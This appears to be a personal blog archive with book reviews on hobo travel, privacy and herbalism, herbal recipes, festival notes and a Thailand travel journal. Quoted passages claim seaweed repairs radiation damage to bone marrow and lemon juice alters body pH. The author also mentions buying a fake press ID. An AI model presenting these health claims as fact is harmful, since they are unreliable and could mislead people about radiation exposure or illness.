Hopping Freight Trains in America by Duffy Littlejohn is a howto manual for riding trains — a hobo training manual. It’s an enlightening look into trains and hobo culture. At times, the author can delve too deeply into railroad history for my tastes, or become so technical I feel like I’m reading an operation manual for the railroad, but the amount of useful (and generally unknown) information contained in these pages is immense. I highly recommend it to anyone with the slightest interest in trains, hobos, or alternative transportation.

With things going the way they are, hopping trains may soon become a much more viable option for long distance travel. Here’s your introduction.

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VM

New voicemail/fax number: 206-350-HACK (4225)

I’ve been needing this for a while. Feel free to leave me messages.

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Oops

My old SSL cert expired at the end of last month. I had gotten a new one a few months ago, but forgot to install it. It’s up there now, so anybody who uses SSL for any parts of the site will get a new cert warning.

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Bulletproof Privacy

Today I finished reading Boston T. Party’s Bulletproof Privacy. The book attempts to teach one how to live off the radar, but within Civilization. It covers topics such as building identities, anonymous addresses, bugging out, and the like. Published in 1997, much of the information is dated (I skipped the part on airplane travel). Other parts are common sense, but the book does provide a few gems of information. I’d recommend giving it a skim if you’re considering becoming invisible (or would just like the ability to do so).

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Gone to Croatan

Gone to Croatan: Origins of North American Dropout Culture is an alternative American history. It is a collection of essays, poems, and art, documenting America’s lost drop-outs, rebels, and other undesirables. The majority deal with the revolutionary period.

The book has its ups and downs. Some pieces are crafted in such a way that I only skimmed through them, others enthralled me. I recommend it for fans of Hakim Bey.

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Land Pirates

These men cannot live in regular society. They are too idle, too talkative, too passionate, too prodigal & too shiftless to acquire either property or character. Finding all their efforts vain, they become at length discouraged and then under the pressure of poverty, the fear of a gaol and consciousness of public contempt, leave their native places, and betake themselves to the wilderness.

-Timothy Dwight

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American Apparel No More

According to Clamor, American Apparel has prevented their workers attempts to unionize and the company’s founder has had three different sexual harassment charges filed against him by workers. (Article preview here) So, there’ll be no more purchasing of their products by me. I recommend No Sweat.

Sadly, this also means I can’t buy from Proletarian Threads anymore (they print on American Apparel shirts).

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The Earthly Topology of Time

I find myself standing in the midst of an eternity, a vast and inexhaustible present. The whole world rests within itself — the trees at the field’s edge, the hum of crickets in the grass, cirrocumulus clouds rippling like waves across the sky, from horizon to horizon. In the distance I notice the curving dirt road and my rusty car parked at its edge — these, too, seem to have their place in this open moment of vision, this eternal present. And smells — the air is rich with faint whiffs from the forest, the heather, the soil underfoot — so many messages mingling between different elements in the encircling land. … Things are different in this world without “the past” and “the future,” my body quivering in this space like an animal. I know well that, in some time out of this time, I must return to my house and my books. But here, too, is home. For my body is at home, in this open present, with its mind. And this is no mere illusion, no hallucination, this eternity — there is something too persistent, too stable, too unshakable about this experience for it to be merely a mirage…
  • David Abram

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Drop the bomb? Eat seaweed

The following is an excerpt from Susun Weed’s Healing Wise. It may come in handy, in a world where the government seems to be having nukes on their mind.

Workers at Swedish nuclear power plants eat seaweed to reduce and eliminate their absorption of strontium 90, a radioactive element. Research at McGill University finds that alginic acid, one of the main components of seaweed, binds with radioactive strontium to form strontium alginate, an insoluble compound, which is rapidly eliminated from the gastro-intestinal tract, reducing the absorption of strontium 90 by fifty to ninety percent. Strontium 90, released in nuclear accidents as well as in the running of nuclear power plants, has a high affinity for calcium. When released into the air, it is easily concentrated in calcium-rich foods such as milk (including mother’s milk) and leafy greens. Eat these contaminated foodstuff and the radioactivity, now combined with calcium, enters the bone marrow where it can damage delicate immune and blood cells. Consistently eating seaweed helps eliminate any radioactive particles already absorbed, repairs damage to the bone marrow, and prevents further absorption of strontium 90. Fucoidan and algin, components of brown seaweeds, diminish blood levels of lead in animal studies. Seaweeds have been shown to remove mercury, cadmium, lead, barium, tin and other heavy metals from tissue, according to the Marine Technology Society.

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The Wild Parrots of Telegraph Hill

Today I finished reading The Wild Parrots of Telegraph Hill, a book about the author’s time with a flock of wild parrots in San Francisco. The book has its ups and downs, becoming boring at times with the attention payed to the parrots’ every action, but, overall, it’s a good read.

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Bug Juice

MutantFest served as my testing ground for Good Natured Earthling’s bug spray, made by my soap teacher. I was surprised how well it worked. During my whole time in the Forest, I was bit only once, and that was before I broke out the bug juice in the evening.

I highly recommend picking up a bottle.

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Healing Wise

Wise Woman Herbal: Healing Wise is an excellent book written by Susun Weed, one of those shifty feminist witches. She begins the book with an examination of what she sees as the three different healing methods: the scientific method (who’s motto is “your body is a machine, you broke it, and now must be punished” and who’s symbol is a line), the heroic method (who’s motto is “you broke the rules and must suffer the consequences, repent” and who’s symbol is a circle), and the wise woman method (who’s motto is “accept the illness and learn what good it has to offer” and who’s symbol is a spiral).

After analyzes the three methods and their healing practices in depth, she moves on to describing 7 herbs — common weeds that can be found in the crack of any sidewalk, in any city — but she doesn’t just devote a page or two to each. Instead, each “green ally” receives special devotion in its own chapter, and she introduces and teaches about them in wonderfully unique ways.

Obviously the book is written from the female perspective, for the female, but, as a male, I didn’t find that hindered the book for me in any way. (Though it does show how even the most seemingly free-thinking people can be boxed in by our culture and it’s duality, but that’s another discussion).

I highly recommend the book for everyone. Even if you have little interest in herbs or healing, this is a book to have on your shelve for battling the common cold. No id check required.

From Earth to Herbalist

Gregory Tilford’s From Earth to Herbalist, which I purchased with my herbal kit, is an herbal field guide that “challenges us to reconsider our roles as herbalists, to go beyond health care consultant, medicine-maker, wildcrafter, and gardener/farmer to become earth-steward”. It combines the two roles of field guide and medical resource in one book that has managed to show me a new, “earth-conscious” way of looking at plants.

Reading it at MutantFest, all I had to do was simply adjust my gaze in order to locate most of the plants mentioned in the book. A great learning experience.

I recommend the book for anyone interested in herbal medicine.

When Hippies Turn to Cyber Terror

http://blog.wired.com/27BStroke6/index.blog?entry_id=1539952

Last February the Department of Homeland Security oversaw a large-scale international cyber terror simulation involving 115 public and private organizations in the U.S., Canada, Britain, Australia, and New Zealand, all testing their ability to coordinate with one another and respond to computer-driven attacks. It was called Cyber Storm.

Nobody’s said much about the results, or the details of the exercise scenario. But a newly-published DHS PowerPoint presentation on the exercise reveals that the real terrorist threat in cyber space isn’t from obvious suspects like al Qaida types or Connecticut voters; it’s from anti-globalization radicals and peace activists.

The attack scenario detailed in the presentation is a meticulously plotted parade of cyber horribles led by a “well financed” band of leftist radicals who object to U.S. imperialism, aided by sympathetic independent actors.

At the top of the pyramid is the Worldwide Anti-Globalization Alliance, which sets things off by calling for cyber sit-ins and denial-of-service attacks against U.S. interests. WAGA’s radical arm, the villainous Black Hood Society, ratchets up the tension on day one by probing SCADA computerized control systems and military networks, eventually (spoiler warning) claiming responsibility for a commuter rail outage and the heat going out in government buildings.

The Black Hoods are a faction of Freedom Not Bombs, whose name is suspiciously similar to the real Food Not Bombs, which provides vegan meals to the homeless.

I always knew Food Not Bombs was really a front for Harrison Ford’s 37337 band of h@x0rs. Free food? They must be devil worshipers.

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Anonymous Searching

Scroogle is a nice tool. No cookies, no logs, no worries concerning leaks. But is it too much to ask for a stylesheet? Google presents results in such a clean, organized way. Scroogle is just ugly.

The majority of my searching I do via Google, accessing it only through Tor and denying it cookies. This is undoubtedly an anonymous way to search, but is ruined by Google’s attempt to please. Because of my shifting IP, I rarely every reach Google.com, but am instead redirected to Google.de, Google.fr, Google.it, or some other. Without cookies, the “Google.com in English” button does nothing.

Results tend to be the same, and in English, with the exception of other language sites receiving higher placement than they would on Google.com, but I can’t use the spell-check feature, the dictionary feature, or any of those other little conveniences.

Anyone have any suggestions for another search method?

Update: Good timing

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Lemon Balm Tincture

I’ve an abundance of dried Lemon Balm hanging around, so last night I decided to tincture 2/3 of it. Trouble is, none of my books contained alcohol percentages or ratios for the herb. Google seemed to think that 100 proof alcohol would be fine, but couldn’t come to a conclusion as to the ratio. Some sites said 1:1, some 1:4, and still others claimed 1:5.

The most important part of tincturing, I’ve been taught, is that the herb is completely covered for the first two weeks. I made my measurements to use the 1:5 ratio, but, to cover everything, ended up with a mixture closer to 1:16. Let’s hope it turns out.

In one and a half moon cycles, it will be ready for use — calming nervous systems, fighting fever, helping digestion, and even combating herpes (hey, you never know).

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Come Back Alive

Robert Young Pelton’s Come Back Alive is a pun on survival guides. At least, that’s what I thought when I picked it up. As it turns out, the books makes fun of most other survival guides, but takes itself seriously — slightly disturbing, as most of his advice is questionable. It focuses on urban survival (driving, crime, etc) and, of course, war zones, forsaking wilderness survival for another time (or perhaps I just glazed over the wilderness sections, knowing they wouldn’t hold much of value).

It’s written in the same dark humor found in DP, so I would recommend it for fans of RYP, but only as entertainment.

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Garlic Tea

There’s a lot of garlic around here not doing anything, so today I decided to make a tea, using this recipe as a base. It claims:

In Mexico, or Spain for that matter, garlic tea is served up for coughs or colds. People swear by it! The garlic oils inhibit cough and cold microbes, and they are effective decongestants. Lemon juice reduces and thins mucus, which makes it easier to unclog a stuffed up respiratory system. Lemon juice also changes the body’s pH, making it less hospitable to viruses and bacteria.

I altered the recipe a little bit to fit the ingredients I had laying around, and the tea turned out great. A bit too much honey for my taste, but other than that, great. 16oz of the stuff is sitting in the fridge for me to try chilled tomorrow.

  • 3 cups waters
  • 5 whole garlic cloves
  • 3oz fresh squeezed lemon juice
  • As much Italian honey as is left in the jar
    • The stuff was practically solid, not that cheap liquid honey you get at the supermarket. Were I to toss it into a measuring cup, I’d guess it would report about 4oz
  • 2 pinches of Lemon Balm
  1. Bring 3 cups water and garlic cloves to a boil
  2. When boiling, turn down heat and add lemon juice, honey, and Lemon Balm
  3. Return water to boil for 30 seconds or so, allowing chunky honey to liquefy
  4. Strain, serve, enjoy

Now if only I was sick, I could report back the medical benefits.

Update: That stuff went right through me. Perhaps it cleans the kidneys?

Second Update: It’s tasty cold, though the honey all sunk to the bottom.

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Mutate Or Die

And so another midsummer’s new Moon birthed in the Gifford-Pinchot. This is becoming a ritual of some sort. I’ll have to continue it next year, regardless of what festivities are held there.

The Tenth Annual Autonomous Mutant Festival was a success, I’d say. Hobos, hippies, punks, gypsies, clowns, and all other sorts of degenerates gathered in the enchanted forests of Cascadia for celebration, music, chemicals, and what-not. Sadly, the weekend brought with it those who were there only for the booze; the type you wouldn’t pay a second glance to here in our culture of make believe, but, thrown into a forest of Mutants, looked incredibly out of place with their buzz-cuts, blue jeans, and white XXL undershirts. Their drunken idiocies are part of why I chose to break camp early.

And I missed bananas.

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Providence

Providence is Daniel Quinn’s autobiography. Though it obviously differs from Ishmael, a work of fiction, I kept feeling that while reading Providence, I was reading what that book would be, had it been narrated by Ishmael.

The book tells of Quinn’s 50 years leading up to writing Ishmael, from growing up in the Great Depression, to studying as a Trappist monk under Thomas Merton, and his eventual rejection of Christianity and its god.

At one point, Quinn describes what he experienced as a Trappist monk when he was allowed to go outside for the first time in three weeks:

I turned and faced the sunshine, and the breath went out of me as if someone had punched me in the stomach. That was the effect of receiving this sigh, of seeing the world as it is. I was astounded, bowled over, dumbfounded.

Everything was burning.

Every blade of grass, every single leaf of every single tree was radiant, was blazing — incandescent with a raging power that was unmistakably divine.

I was overwhelmed. In a single second of this, of seeing this truth, tears flooded my eyes and poured down my face as I walked along…

What I was seeing was reality, was the world as it actually is, every moment of every day.

What struck me so about this, is that the passage describes something akin to what I experienced after opening my eyes after meditation in the arboretum upon Sehome hill — though more of a white radiance than raging flames. Perhaps there’s something to that, no?

The book is a recommended read for fans of Quinn’s other works.

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11th Annual Baker Blues

I went to Baker Blues festival yesterday. My third or fourth year, I think. They moved to a new location this year, and amped the whole thing up to three days.

Music this year eclipsed the past. Chris Duarte? The closest thing living to a Hendrix or Vaughan today.

My arms are burnt to a crisp.

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The Spell of the Sensuous

The Spell of the Sensuous is a mystical trip into the heart of animism. Magician David Abram bridges the questioning of Civilization with a look at traditional Shamanism — the “ecological dimension of the shaman’s craft.” From the first paragraph of this text-book of Deep Ecology, I was hooked. Abram’s claim is that, as humans, we have cut off contact with the non-human world, and that this is a deadly way to live. He waxes poetically on the emergence of the phonetic alphabet, analyzing that as the act that severed our connection with the sensuous, feeling world.

It is an amazing book that with every word tears away the veils of perception — shows you the world in a different light. I’ve read it twice now. Once, I started it before leaving for Thailand, and finished it there in the North. And again I picked it up towards the end of my trip and completed it upon return. It has carried me on my journey, There and Back Again.

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Mountain Rose Herbs

I was linked to Mountain Rose Herbs through LearningHerbs.com. They are a “global provider of bulk organic herbs, spices, teas, essential oils and other herbal miscellany,” and have become my standard herb provider.

In my order was their Tea Sampler, which includes the following:

Dream Tea This infusion blend is based on an ancient formula said to evoke powerful and colourful dreams. It is especially blended for the dreamer, stimulating vivid and easily recalled dreams. A light, minty yet, rich flavor. Very enjoyable after a rich or large dinner. Contains: peppermint, mugwort and damiana leaves, chamomile flowers, gotu kola and rosemary leaves, rose petals and, a pinch of stevia*. Traditionally used for- Enhancing dreams

Fairytale Tea A delicious drink for children and adults. A delightful and inspiring infusion blend full of flowers & fairy magic; perfect for bedtime stories. Contains: calendula, red clover, lavender and chamomile flowers, lemon balm, catnip, spearmint, skullcap and thyme leaves, oatstraw, lemon peel and, a pinch of stevia. Traditionally used for- Encourage calming

Peace Tea This is a gentle and calming nervine blend; a chance for reflection;an opportunity to imagine a peaceful world. Takes the stress out of life for a while. A wonderful infusion drink for meditation and quiet moments. Contains: Chamomile flowers, spearmint leaves, passionflower herb, rose petals, lavender flowers and, cinnamon bark. Traditionally used for- Encourage relaxation

And I purchased a bag of 21st Century Tea:

There are so many ways that our immune systems can be overwhelmed … air, water, workplace, stress etc. This infusion blend is not only helpful, but comforting, strengthening and delicious. Contains: Red clover blossoms, nettle leaves, pau d’arco, alfalfa and sage leaves, St. John’s wort herb and a hint of ginger root. Traditionally used for- General health and taste

I love all the teas. They’re all, without doubt, the best tasting I’ve had.

I also picked up some dried Lemon Balm for ice tea and a little powdered goldenseal root.

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Learning Herbs

LearningHerbs.com is run by John Gallagher, one of the creator’s of Wilderness Awareness School’s Kamana program. The site offers a DIY kit that caught my eye a while ago, but I only recently decided to order. It came last Wednesday.

Included are the instructions and ingredients to make an echinacea tincture and an herbal salve. It’s amazing how simple both are to create, and they both provide a great confidence boost for an herbal noob like myself.

The salve I’ve been using for about a week as a lip balm and on itchy bug bites. It works great for both. I was only able to get my hands on some vodka a couple days ago, so the tincture still has another 6 weeks to sit before I can report back on that.

For anyone interested in herbs, I definitely recommend forking over $50 for the kit. I love it. It also includes access to a 7-day online course, that I’ve yet to begin, but plan to when the time is right.

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M for Medic

Today was my Red Cross CPR and First Aid class. The 2 hours spent on first aid were a joke. Compared to that, Wilderness First Aid might as well be an EMT course. We just watched a video for the different illnesses and wounds covered, and the solution for all of them was “dial 911”.

The CPR portion of the 9AM-4PM class, on the other hand, was great. I learned a lot — not surprising, as I didn’t know anything about it going in — and might even remember a thing or two.

I recommend signing up for the CPR class. The instruction was good, the classmates fun. (Speaking of which, I was the only one taking the course for fun. All else were required by work or school.)

So now I am certified by the Wilderness Medicine Institute in Wilderness First Aid, the American Red Cross in Standard First Aid, and the American Red Cross in Adult CPR. This winter I plan to take the week long Wilderness First Responder course. Look out medics.

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Sidewinder

My SideWinder Charger arrived yesterday. It takes a bit of effort, what with all that cranking, but works. Within a couple minutes I’m able to raise a cell phone from the dead for long enough to make a call. Good for emergencies.

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RIP Noise

http://www.infernalnoise.org/

Beloved friends and accomplices,

The Infernal Noise Brigade has died young. Come and celebrate its pretty corpse.

Former Infernalistas the world over are en route to Seattle to swell the band’s ranks into a giant, implosive force before leaping into the grave. Join us for one last march (7/28) and a massive all-night funeral wake (7/29)—at which the Infernal Noise Brigade will, though technically dead, perform two final sets before descending into hell for their rewards, either in the seventh ring (for violence to the possessions of the capitalist state) or the ninth ring (for treachery against Homeland Security).

The INB’s Last March Friday, July 28, evening-time The East Precinct Seattle, WA free

The INB’s Final Party Saturday, July 29, 9 pm - dawn In Georgetown - locale posted at www.infernalnoise.org sliding-fee donation (to benefit radical movements/artists)

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Clean Up

I went to one of the smaller beaches in the area today. Smoke beckoned me till I found a good size fire that someone had left blazing. It took me a while, but I was able to get all the flaming wood and coals into the water and clean the pit (it hadn’t burned deep). It’s annoying that someone would leave something that large still burning. There was a smaller fire nearby, but that one had burned out. They had carved in a log “In 2006 we smoked weed here”.

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Leave My Server Alone!

I’ve been hosting a dvd rip Loose Change: Second Edition for a few months. It recently found its way onto a couple divx crawler sites, which managed to sexually violate my bandwidth.

On 7-21, it got 495 hits. On 7-22, it got 12,369 hits. On 7-23, it got 5,295 hits.

Luckily, not all of those people downloaded the whole thing, but it still used 495357.72MB in those three days. So the file has been removed for now. It’ll be back up in a month, when the new billing cycle starts.

At least I know the automatic site throttling works.

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Photos at last

All photos and video from Thailand are finally online. I didn’t take many, save for busting my camera out now and then when acting like a tourist. The rest of the time, I suppose I preferred to see the land with my own eyes, not through the lens of a camera.

Grand Palace

Enjoy.

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Don Muang

The following was written 7-19, in Terminal 2 of Don Muang, Bangkok.

12:50AM UTC/GMT +7 hours Arrived at the airport and it seems every airline’s check-in booth is open, but United. I’m told they open at 3:30AM. There’s a waiting area here, so I’ve sat down with my pack. The airport is by no means empty, but is very calm. A strange state for an airport.

Kofi Annan on CNN.

1:09AM UTC/GMT +7 hours Just made a collect call home. Apparently Microsoft called me a few days ago for a game test.

1:15AM UTC/GMT +7 hours You know, I’ve been trying to follow this whole Israel-Palestine-Lebanon thing briefly when I get online, and I really don’t understand how anyone can be on Israel’s side.

I watched the first bit of Bush’s press conference in Germany where he said something like the “terrorists” are trying to “halt Israel’s pursuit of peace.” That’s about as crazy as saying that the US is pursuing peace — perhaps worse.

I read a few days ago that Kofi wanted a peace keeping force to go to Lebanon and stop them from attacking Israel, to give Israel an excuse to stop attacking Lebanon. How can he say that? If you want to occupy someone, occupy Israel. Give Hezbollah an excuse to stop attacking them.

Look at the numbers. There’s been, what, 14 Israelis killed? And how many hundreds of Lebanon folks (Lebanonese? Something like that)? Maybe Israel just has better bomb shelters or bigger boom sticks, but, regardless the reason, they are undeniably the more dangerous, terrorizing player.

Hell, the guest house I checked out of this morning has a sign on the front desk proclaiming they don’t accept Israelis because they’ve had too much trouble with them stealing. They’re terrorizing folks even here in Thailand.

But that was uncalled for. I’m attacking the Israeli government, not the people. And I doubt there are many Lebanon tourists here, so it isn’t a fair comparison.

Though while I’m on the subject of Israel, I’d like to say that they need to stop that compulsory military service thing. It blurs the line between government and civilian, and allows Israel’s enemies to justify killing of civilians.

4:06AM UTC/GMT +7 hours I’m at my gate now. The flight boards at 6:05AM, so I’ve about 2 hours.

Security actually acted like they care this time. They searched my checked backpack by hand, with machine, and even confiscated the waterproof matches I always carry with my first aid kit.

Those things cost like $5…

My money belt beeped going through the detector. It was just the zipper — she didn’t care to even unzip and look inside. I have my credit card in there, and could very easily have one of those credit card knives, too.

While they were searching my pack, I was asked if security could ask me some questions. I said yes (did I have a choice?), but then was only asked the usual “did you pack your bag”, “has it always been with you”, etc. I thought they were going to take me aside and poke something up my anus. Oh well. Maybe US will want to do that.

4:24AM UTC/GMT +7 hours I should mention that on my way to Bangkok, I put my backpack in 2 of the heaviest-duty trash bags I could find, in hopes of protecting it from the airport conveyor belts. It came out fine.

This time, I sent it through naked. I have no doubt that the bag itself will make it — it is, after all, military grade — but am curious as to the fate of the straps. This is a good chance to test it, since I don’t care so much about it going home. If it gets destroyed, I pick up another on ebay for $35.

5:39AM UTC/GMT +7 hours There’s a group of about 20 American kids here in bright green shirts. Look like high school. Their 2 chaperons are sitting next to me. I wonder who they are. From what I’ve overhead, they’re going to Chicago.

They’re being annoyingly loud.

The United folks are setting up for body searches, so perhaps I’ll be randomly selected after all.

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Full Circle

I’m home now. Been back since about 9AM. Passport Control and Customs didn’t pay me a second glance, and my backpack came through unscathed, so there’s not much of note to mention there.

My hand written journal ends on the note of American whores, and so it seems I’ve come full circle: disillusionment, escape, and now back to the realities of America.

I’ve shaved, showered, tackled the 967 emails in my inbox, and napped. Strange to be back in my own bed. Strange to be wearing cotton again. Strange, I think, to not be in Thailand.

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Narita Once More

The following was written 7-19, waiting for my flight Tokyo.

3:51PM UTC/GMT +9 hours We arrived in Tokyo 15 minutes early, a good thing since security finally decided to take interest in me. My carry-on, at least.

The woman at the x-ray told her friends to search it. (I myself didn’t beep.) So another lady went through, found nothing of interest, and put through the x-ray again, but once more it was fingered. She searched it again, asking if I had any pens other than those she had already taken out. I told her no.

After a bit I decided I should point out the little slit compartment in the back of the bag that she seemed to be consistently missing. She reached in there and pulled out my Clif bar, a few receipts, and my mini camera tripod. Aha! The culprit.

Without the tripod, the bag was again x-rayed, and no alarms went off.

Funny thing is, I’ve never removed that tripod since packing it. No, I did use it once. But it’s been in that same place going through Tokyo airport before, not to mention Bangkok and Seattle, and no-one ever complained. Strange.

After that I went down to the cafe I had sat at a month ago, waiting for my plane to Bangkok, and had a lunch of greasy noodles. And now I’m at the gate, waiting for flight 876 to board and take me home to Seattle.

We’re to be served dinner and breakfast on this flight. The last plane served me breakfast, too: a rubber omelet. I had a bite, didn’t brave the sausage, and went back to sleep.

Let us hope I sleep on this flight. I arrive in Seattle in the morning and it would be best if I could stay awake all day and crash hard that night. Not that I’m in a huge rush to get over jet lag — I have no appointments when I get back for a week or two.

I wonder what movies will be shown on this flight. Hopefully not Firewall again. I assume they rotate every month.

Most of the people at the gate are Japanese. It was that way flying out of Seattle, too.

Two of those Green Shirts sat behind me on the flight from Bangkok. All they could talk about was the finale for some TV show and how much they missed Starbucks. In Thailand, there were actually times where I could be proud to be American, but that all goes right back out the window when I find myself back around other Americans. Most of them, anyway.

Can we really be such whores?

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Official Press

The following was written 7-18 over a banana smoothie, in Bangkok.

4:42PM By the by, I’m an official freelance journalist of the International Press Association.

Oh, and Chad: You know those love-bots you make? I’m sitting here in a café called Illy that sells something strikingly familiar.

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The Scam

The following was written 7-18 on a bench in Bangkok.

3:10PM I’m already being the stereotypical tourist, doing the whole Khao San thing and wandering the streets of Banglamphu, so, I figure, why not fall into a scam. Take the tourist image all the way.

Here’s how it worked:

I was wandering down a busy street, staring at UNICEF and wondering why they need a large, gated, guarded compound that looks like a government building. A nice looking Thai walked up behind me and asks if I was searching for anything. I said no, only looking at the buildings. He asked where I was going, and I said nowhere particular. First he tried to get me to go to the Grand Palace and Wat Pho, but I told him I’d already been there. He asked if I’d seen the giant standing Buddha, and I told him I hadn’t. He told me I should go because it normally costs 200 Baht, but today is a Buddhist holiday, so it’s free. And Grand Palace and Wat Pho were no good today, anyways, them both being so crowded from the holiday visitors.

After giving him my Lonely Planet for the map, he marked the big Buddha and Locky Temple, which I was to go to after. I told him thanks, and that I may walk that way, but he said no, tuk-tuk was better. Today, being the holiday, it would only cost 20 Baht instead of the usual 100. Just then, a tuk-tuk driver who seemed to be old friends with the Thai I was chatting with pulled up and asked if I needed a tuk-tuk. Before I could say anything, the two exchanged a few quick words in Thai and, the next thing I knew, I was in the tuk-tuk racing to the big Buddha. For 20 Baht

It was indeed free to see the statue, though I don’t know if that was usual or not. A few minutes there and the driver said ok, he’ll take me to the Locky Temple to see the Buddha there. When we got to the temple, I was told by someone standing around front that it was not open yet, but I could enter in 5 minutes. I waited 15, and nothing changed. I could see inside the room, and all it was was a bunch of old people eating breakfast and a few monks. It didn’t look anything special, nor did they appear to be finishing anytime soon, so I left.

The tuk-tuk beckoned me back and I was told now he would take me to the “Thai Expo Center” for some kind of coupon. I had no idea what that meant, but thought the guy had been nice enough yet, and all this for only 20 Baht So we zoomed off and parked in front of a gem shop. Some expo, eh? He told me to go inside for the coupon, so I wandered in. Yup, it was a gem shop. I asked the guy who opened the door for a coupon for the tuk-tuk and he asked if that was all. No gem? I told him that was indeed all. He looked disappointed, but scribbled something in Thai on a piece of paper, and I left. The driver was surprised to see me come out so soon, but motioned me back in to the tuk-tuk and we took off. In a little, he pulled over and told me what’s what.

The paper I had gotten was worthless. (I still don’t know what was written on it.) What he was after was a free gasoline coupon that the shop would give him for bringing me. Two if I purchased something. He was the one to ask for it, not me, and I would have to stay for at least 10 minutes, looking interested in an item. I was not required to buy, though it would be nice if I did.

We would try again, he said. This time at a tailor’s. I couldn’t blame the guy for wanting free gas, and it wasn’t costing me anything, save time, which I have a surplus of. Hell, he was driving me all over the district for only 20 Baht and gas here costs 28 (per what, I don’t know).

I went in to the Tailor’s he took me to, and the greeter asked what I was interested in. Shirt, suit, jacket? I latched onto his first suggestion and replied shirt. He showed me a few up front, which I browsed through, but was disinterested in. He then led me to the back of the store and asked me if I was looking for a solid color or pattern, but I said I wasn’t sure. By this time I was getting into it, and, when he asked me what color I wanted, I replied something darker. He showed me a few and I analyzed the craftsmanship and fabric, but, to pretend as if I actually had something in mind, I asked if he had any long-sleeved. Not here, I was told, but it could be made. No, I didn’t want to deal with that, I told him, thinking this an easy way out. But he was insistent and handed me his card should I change my mind. To add a final little flare onto my performance, I asked to see his fabrics. He showed me, I browsed for a bit, thanked him, and told him I might be back.

Feeling pleased with myself, I strutted out to the driver and asked how I was. Did I take long enough? The coupon promotion ended yesterday, he grudgingly informed me, so my performance was all for not. But he knew of another shop that would give him what he was after, so off we went.

This is a great time waster, I thought to myself. I’m glad I fell into it.

The next shop had no showroom, so I would have to change my act. Improv. Upon entrance on stage left, I was quickly shuffled to a seat by one of those Thais whose tailor has watched Saturday Night Fever one too many times. He gave me a few catalogs to look through, saying everything in there was next year’s model and would cost me thousands of dollars in the States. I believed him. The price, at least.

I flipped through the first catalog, set it down, and looked through the second. Then I picked up the first once more, turned to a random page, and told him I liked that one. It was actually a nice looking suit and I may have been genuinely interested in it if I weren’t morally opposed to the concept of “dressing up”. He took me over to the other side of the store and showed me the fabric. I asked him how much and he directed me to a couch. I was told to sit, while he ran off to find a calculator. (Thais rarely like to tell you a price, but will instead type it on a calculator for you to see.) He came back and showed me number: 4500 Baht.

I was surprised. That honestly was a good price. I acted to hesitate and he pulled off a similar suit from the rack beside us, beckoning me to analyze the craftsmanship. I hesitated and he asked what was wrong. Too much? Student? Tight budget? A new number on the calculator: 4000. Again I hesitated and asked for a card so that I could think about it and come back. No, he said, this was a one day sale. I hesitated more, saying that 4000 Baht was a good price, but was a lot for me to put down all at once (true). After a bit of back-and-forth, I was able to escape, saying I’d think and come back later today. He knew I had no intention of doing so. On my exit, I thought I should ask what time he closed to sound a little more interested.

Back on the street, the tuk-tuk driver didn’t look cheerful, so I didn’t ask how I’d done. He questioned if I’d been to the Grand Palace. Yes, I had. Wat Pho? Yup. Long tail boats? No, hadn’t seen those. Well, he would take me there.

He did so, I looked, snapped a couple of photos, and told the whole pier no, I didn’t want a 700 Baht ride. I only wished to look. Dodging the post-card saleswoman best I could (but failing), I walked back to the street. The driver asked what I would do now. Walk, I said. He asked for the money, and I handed him 20 Baht, thanking him for showing me around.

I really don’t know how much was a scam. It very well could be a holiday. Perhaps he got his coupon. Maybe two. Regardless, it cost me only 20 Baht (For what is really more of a 100 Baht ride) and time. And the boats were only a block from where he picked me up.

Afterwards, I wandered down the street to stumble upon a bakery that happened to serve slices of expensive (by Thai standards) and excellent chocolate cake.

I haven’t done much since then.

Yesterday’s initial shock is wearing off, and I’m once again taking a liking to Bangkok. We have a funny relationship, the city and I.

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VIP

The following was written 7-18 in MBK Center, Bangkok.

8:30PM I’m in the Baskin Robbins at MBK Center — the one I first sat at all that time ago.

I came here for the theatre, deciding to pay the 250 for a VIP ticket to Pirates 2.

They aren’t kidding when they say VIP, and it cost less that a cheap ticket in the States. A huge screen, excellent sound, and the seats! Reclining La-Z-Boys with blankets. It’s awesome. The only thing the Seattle Cinerama has on this is size.

The movie itself was decent (English with Thai subs, by the way). I didn’t think it compared with the first — until the end. They set it up for an exciting sequel, and what I missed most in this one was Barbosa. Oh, and the actor who plays Chtulhu: I like the guy, but he pretty much just recreated his performance from Underworld.

There’s a poster for Spiderman 3 here. He’s silver.

I’m in a dangerous position…

Bangkok. At night. Time to kill. And a surplus of Baht that I will soon have little use for.

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Back in Bangkok

The following was written 7-17, in Bangkok

6:05PM The train came in at around 3PM. From the station I caught a motorcycle to the Barn Thai Guest house. That’s the last time I do that with my backpack — I about fell off the back of the motorcycle from the weight of the pack every time he accelerated.

We drove around for a good hour trying to find the place. Nobody who the driver stopped to ask had heard of it, until we found one guy who told us it exploded. At least that’s what I gathered from the broken English and sign language.

Boom.

So I chose another, but they were full. The third choice worked out, but they stuck me with a hidden “key deposit” fee of 200 Baht after I’d checked in.

Ah, Bangkok.

They’re playing Pirates 2 across the street on a couple of plasma screens. Not a cheap cam or anything, either. How long has that been out? It must have been since I left. Explains all the “you look like a pirate” comments I’ve been getting.

I’m only about a 5 minute walk from Khao San, so I explored that a bit today. Where else can you sit on the sidewalk, getting your hair dreaded, while listening to 50 Cent blast from a bar across the street?

It’s not as bad as it’s made out to be, really, but I’m glad I avoided it before. The whole district is getting on my nerves actually. Next time I’ll go back to the Suk 11.

I might go back to Khao San tomorrow and buy a fake press ID. They’re cheap, and you never know when that could come in handy.

The guest house looks to have a bag storage service. It’s 30 Baht, instead of the free I’m used to (everything is much more expensive here in Bangkok), but it’d be nice to not have to carry my pack around all day. I figure I could pick it up and head to the airport around midnight.

My Baht was running low when I arrived today. I probably could make it through with what I had, but decided to exchange a little more. I’m not running low on dollars, but trying to hang on to what I have so I don’t have a bunch to exchange on the other end.

I can’t wait to get out of Bangkok, though I’m not looking forward to the long plane ride, either. Wish I could go back North. Chiang Mai is about as much city as I can handle.

6:54PM Day 5 of 7 for Malarone.

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Near the End

The following was written 7-17, waiting for the bus in Phitsanulok

8:23AM I would like, sometime, to fill in the pieces. To record the events for myself and others. So much has happened on this trip, this journal representing only a very small part.

More so, I would like to write some sort of conclusion. Here, near the end of, I look back at all the people, bus rides, and blisters, and they all meant something. After all, they happened, didn’t they?

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Old and Loud

The following was written 7-17, on the train from Phitsanulok to Bangkok

9:16AM This train is a bit older and trashier than the previous one, but the seats are padded and the air-con works.

It sounds like a diesel engine…

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Towel

The following was written 7-16, in Phitsanulok

